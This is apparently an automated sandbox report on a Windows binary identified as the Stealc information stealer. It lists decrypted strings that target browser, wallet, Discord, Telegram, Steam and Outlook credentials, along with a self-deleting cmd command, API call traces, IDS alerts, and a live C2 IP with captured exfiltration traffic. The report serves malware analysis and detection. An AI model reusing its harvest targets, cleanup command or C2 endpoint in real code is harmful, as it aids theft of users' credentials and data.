Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: cookies.sqlite
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: formhistory.sqlite
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: places.sqlite
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: plugins
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: Local Extension Settings
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: Sync Extension Settings
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: IndexedDB
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: Opera Stable
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: Opera GX Stable
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: CURRENT
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: chrome-extension_
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: _0.indexeddb.leveldb
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: Local State
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: profiles.ini
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: chrome
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: opera
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: firefox
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: wallets
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: %08lX%04lX%lu
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: SOFTWARE\Microsoft\Windows NT\CurrentVersion
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: ProductName
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: x32
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: x64
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: %d/%d/%d %d:%d:%d
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: ProcessorNameString
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: DisplayName
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: DisplayVersion
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: Network Info:
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: - IP: IP?
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: - Country: ISO?
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: System Summary:
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: - HWID:
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: - OS:
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: - Architecture:
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: - UserName:
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: - Computer Name:
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: - Local Time:
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: - UTC:
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: - Language:
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: - Keyboards:
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: - Laptop:
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: - Running Path:
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: - CPU:
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: - Threads:
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: - Cores:
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: - RAM:
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: - Display Resolution:
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: - GPU:
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: User Agents:
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: Installed Apps:
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: All Users:
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: Current User:
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: Process List:
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: system_info.txt
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: freebl3.dll
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: mozglue.dll
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: msvcp140.dll
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: nss3.dll
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: softokn3.dll
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: vcruntime140.dll
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: \Temp\
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: .exe
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: runas
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: open
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: /c start
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: %DESKTOP%
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: %APPDATA%
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: %LOCALAPPDATA%
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: %USERPROFILE%
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: %DOCUMENTS%
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: %PROGRAMFILES%
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: %PROGRAMFILES_86%
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: %RECENT%
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: *.lnk
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: files
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: \discord\
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: \Local Storage\leveldb\CURRENT
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: \Local Storage\leveldb
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: \Telegram Desktop\
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: key_datas
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: D877F783D5D3EF8C*
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: map*
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: A7FDF864FBC10B77*
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: A92DAA6EA6F891F2*
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: F8806DD0C461824F*
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: Telegram
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: Tox
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: *.tox
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: *.ini
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: Password
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: Software\Microsoft\Office\14.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: oftware\Microsoft\Windows Messaging Subsystem\Profiles\9375CFF0413111d3B88A00104B2A6676\
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: 00000001
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: 00000002
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: 00000003
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: 00000004
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: \Outlook\accounts.txt
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: Pidgin
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: \.purple\
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: accounts.xml
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: dQw4w9WgXcQ
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: token:
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: Software\Valve\Steam
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: SteamPath
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: \config\
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: ssfn*
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: config.vdf
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: DialogConfig.vdf
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: DialogConfigOverlay*.vdf
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: libraryfolders.vdf
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: loginusers.vdf
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: \Steam\
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: sqlite3.dll
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: browsers
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: done
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: soft
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: \Discord\tokens.txt
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: /c timeout /t 5 & del /f /q "
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: " & del "C:\ProgramData\*.dll"" & exit
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: C:\Windows\system32\cmd.exe
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: https
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: Content-Type: multipart/form-data; boundary=----
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: POST
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: HTTP/1.1
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: Content-Disposition: form-data; name="
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: hwid
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: build
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: token
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: file_name
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: file
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: message
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: screenshot.jpg

Uses Microsoft's Enhanced Cryptographic Provider

Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_00419030 CryptBinaryToStringA,GetProcessHeap,HeapAlloc,CryptBinaryToStringA,	0_2_00419030
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_0040C920 memset,lstrlenA,CryptStringToBinaryA,memcpy,lstrcatA,lstrcatA,lstrcatA,	0_2_0040C920
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_0040A210 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	0_2_0040A210
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_004072A0 GetProcessHeap,HeapAlloc,CryptUnprotectData,WideCharToMultiByte,LocalFree,	0_2_004072A0
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_0040A2B0 CryptUnprotectData,LocalAlloc,memcpy,LocalFree,	0_2_0040A2B0
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_0484A477 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	0_2_0484A477
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_04847507 GetProcessHeap,RtlAllocateHeap,CryptUnprotectData,WideCharToMultiByte,LocalFree,	0_2_04847507
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_0484A517 CryptUnprotectData,LocalAlloc,memcpy,LocalFree,	0_2_0484A517
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_04859297 CryptBinaryToStringA,GetProcessHeap,RtlAllocateHeap,CryptBinaryToStringA,	0_2_04859297
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_0484CB87 memset,lstrlen,CryptStringToBinaryA,memcpy,lstrcat,lstrcat,lstrcat,	0_2_0484CB87

Compliance

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\Desktop\lxEu3xfjIb.exe

Unpacked PE file: 0.2.lxEu3xfjIb.exe.400000.0.unpack

Uses 32bit PE files

Source: lxEu3xfjIb.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\Desktop\lxEu3xfjIb.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source:	Binary string: my_library.pdbU source: lxEu3xfjIb.exe, 00000000.00000002.2288724291.0000000004840000.00000040.00001000.00020000.00000000.sdmp, lxEu3xfjIb.exe, 00000000.00000002.2287319130.0000000000400000.00000040.00000001.01000000.00000003.sdmp, lxEu3xfjIb.exe, 00000000.00000003.2088127603.0000000004920000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: my_library.pdb source: lxEu3xfjIb.exe, lxEu3xfjIb.exe, 00000000.00000002.2288724291.0000000004840000.00000040.00001000.00020000.00000000.sdmp, lxEu3xfjIb.exe, 00000000.00000002.2287319130.0000000000400000.00000040.00000001.01000000.00000003.sdmp, lxEu3xfjIb.exe, 00000000.00000003.2088127603.0000000004920000.00000004.00001000.00020000.00000000.sdmp

Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_004140F0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,FindNextFileA,FindClose,	0_2_004140F0
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_0040E530 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_0040E530
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_0040BE40 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,memset,lstrcatA,lstrcatA,lstrcatA,memset,lstrcatA,lstrcatA,lstrcatA,memset,lstrcatA,lstrcatA,lstrcatA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_0040BE40
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_0040EE20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlenA,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_0040EE20
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_00414B60 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00414B60
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_00413B00 wsprintfA,FindFirstFileA,lstrcatA,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcatA,lstrlenA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_00413B00
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_0040DF10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0040DF10
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_00401710 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00401710
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_004147C0 GetProcessHeap,HeapAlloc,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcatA,lstrcatA,lstrlenA,lstrlenA,	0_2_004147C0
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_0040DB80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_0040DB80
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_0040F7B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0040F7B0
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_0484E797 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_0484E797
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_0484F087 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_0484F087
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_0484C0A7 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,memset,lstrcat,lstrcat,lstrcat,memset,lstrcat,lstrcat,lstrcat,memset,lstrcat,lstrcat,lstrcat,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_0484C0A7
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_0484E177 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0484E177
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_04854357 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_04854357
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_04854DC7 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_04854DC7
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_0484DDE7 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_0484DDE7
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_04853D67 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_04853D67
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_04841977 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_04841977
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_0484FA17 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0484FA17
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_04854A27 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	0_2_04854A27

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:49704 -> 95.215.207.176:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: http://95.215.207.176/d8ddb681db736e16.php

HTTP GET or POST without a user agent

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 95.215.207.176Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /d8ddb681db736e16.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BGDAAKJJDAAKFHJKJKFCHost: 95.215.207.176Content-Length: 216Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 47 44 41 41 4b 4a 4a 44 41 41 4b 46 48 4a 4b 4a 4b 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 31 33 30 45 44 38 43 45 33 42 33 34 37 36 35 32 32 35 30 37 0d 0a 2d 2d 2d 2d 2d 2d 42 47 44 41 41 4b 4a 4a 44 41 41 4b 46 48 4a 4b 4a 4b 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 4c 6f 67 73 44 69 6c 6c 65 72 0d 0a 2d 2d 2d 2d 2d 2d 42 47 44 41 41 4b 4a 4a 44 41 41 4b 46 48 4a 4b 4a 4b 46 43 2d 2d 0d 0a Data Ascii: ------BGDAAKJJDAAKFHJKJKFCContent-Disposition: form-data; name="hwid"5130ED8CE3B3476522507------BGDAAKJJDAAKFHJKJKFCContent-Disposition: form-data; name="build"LogsDiller------BGDAAKJJDAAKFHJKJKFC--

Internet Provider seen in connection with other malware

Source: Joe Sandbox View

ASN Name: ON-LINE-DATAServerlocation-NetherlandsDrontenNL ON-LINE-DATAServerlocation-NetherlandsDrontenNL

Suricata IDS alerts with low severity for network traffic

Source: Network traffic	Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 20.109.210.53:443 -> 192.168.2.5:49720
Source: Network traffic	Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 20.109.210.53:443 -> 192.168.2.5:59725

Source: unknown	TCP traffic detected without corresponding DNS query: 95.215.207.176
Source: unknown	TCP traffic detected without corresponding DNS query: 95.215.207.176
Source: unknown	TCP traffic detected without corresponding DNS query: 95.215.207.176
Source: unknown	TCP traffic detected without corresponding DNS query: 95.215.207.176
Source: unknown	TCP traffic detected without corresponding DNS query: 95.215.207.176
Source: unknown	TCP traffic detected without corresponding DNS query: 95.215.207.176
Source: unknown	TCP traffic detected without corresponding DNS query: 95.215.207.176
Source: unknown	TCP traffic detected without corresponding DNS query: 95.215.207.176

Source: C:\Users\user\Desktop\lxEu3xfjIb.exe

Code function: 0_2_004048D0 InternetOpenA,StrCmpCA,InternetConnectA,HttpOpenRequestA,lstrlenA,lstrlenA,HttpSendRequestA,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,

0_2_004048D0

Source: global traffic

HTTP traffic detected: GET / HTTP/1.1Host: 95.215.207.176Connection: Keep-AliveCache-Control: no-cache

Source: unknown

Source: lxEu3xfjIb.exe, 00000000.00000002.2288542652.0000000002C99000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://95.215.207.176
Source: lxEu3xfjIb.exe, 00000000.00000002.2288542652.0000000002C99000.00000004.00000020.00020000.00000000.sdmp, lxEu3xfjIb.exe, 00000000.00000002.2288542652.0000000002CD8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://95.215.207.176/
Source: lxEu3xfjIb.exe, 00000000.00000002.2288542652.0000000002C99000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://95.215.207.176/$
Source: lxEu3xfjIb.exe, 00000000.00000002.2288542652.0000000002CF5000.00000004.00000020.00020000.00000000.sdmp, lxEu3xfjIb.exe, 00000000.00000002.2288542652.0000000002CC4000.00000004.00000020.00020000.00000000.sdmp, lxEu3xfjIb.exe, 00000000.00000002.2288542652.0000000002CD8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://95.215.207.176/d8ddb681db736e16.php
Source: lxEu3xfjIb.exe, 00000000.00000002.2288542652.0000000002CD8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://95.215.207.176/d8ddb681db736e16.php&
Source: lxEu3xfjIb.exe, 00000000.00000002.2288542652.0000000002CD8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://95.215.207.176/d8ddb681db736e16.php:
Source: lxEu3xfjIb.exe, 00000000.00000002.2288542652.0000000002CD8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://95.215.207.176/d8ddb681db736e16.phpH
Source: lxEu3xfjIb.exe, 00000000.00000002.2288542652.0000000002CD8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://95.215.207.176/d8ddb681db736e16.phpS
Source: lxEu3xfjIb.exe, 00000000.00000002.2288542652.0000000002CD8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://95.215.207.176/d8ddb681db736e16.phpV
Source: lxEu3xfjIb.exe, 00000000.00000002.2288542652.0000000002CD8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://95.215.207.176/d8ddb681db736e16.phpf
Source: lxEu3xfjIb.exe, 00000000.00000002.2288542652.0000000002CD8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://95.215.207.176/ws
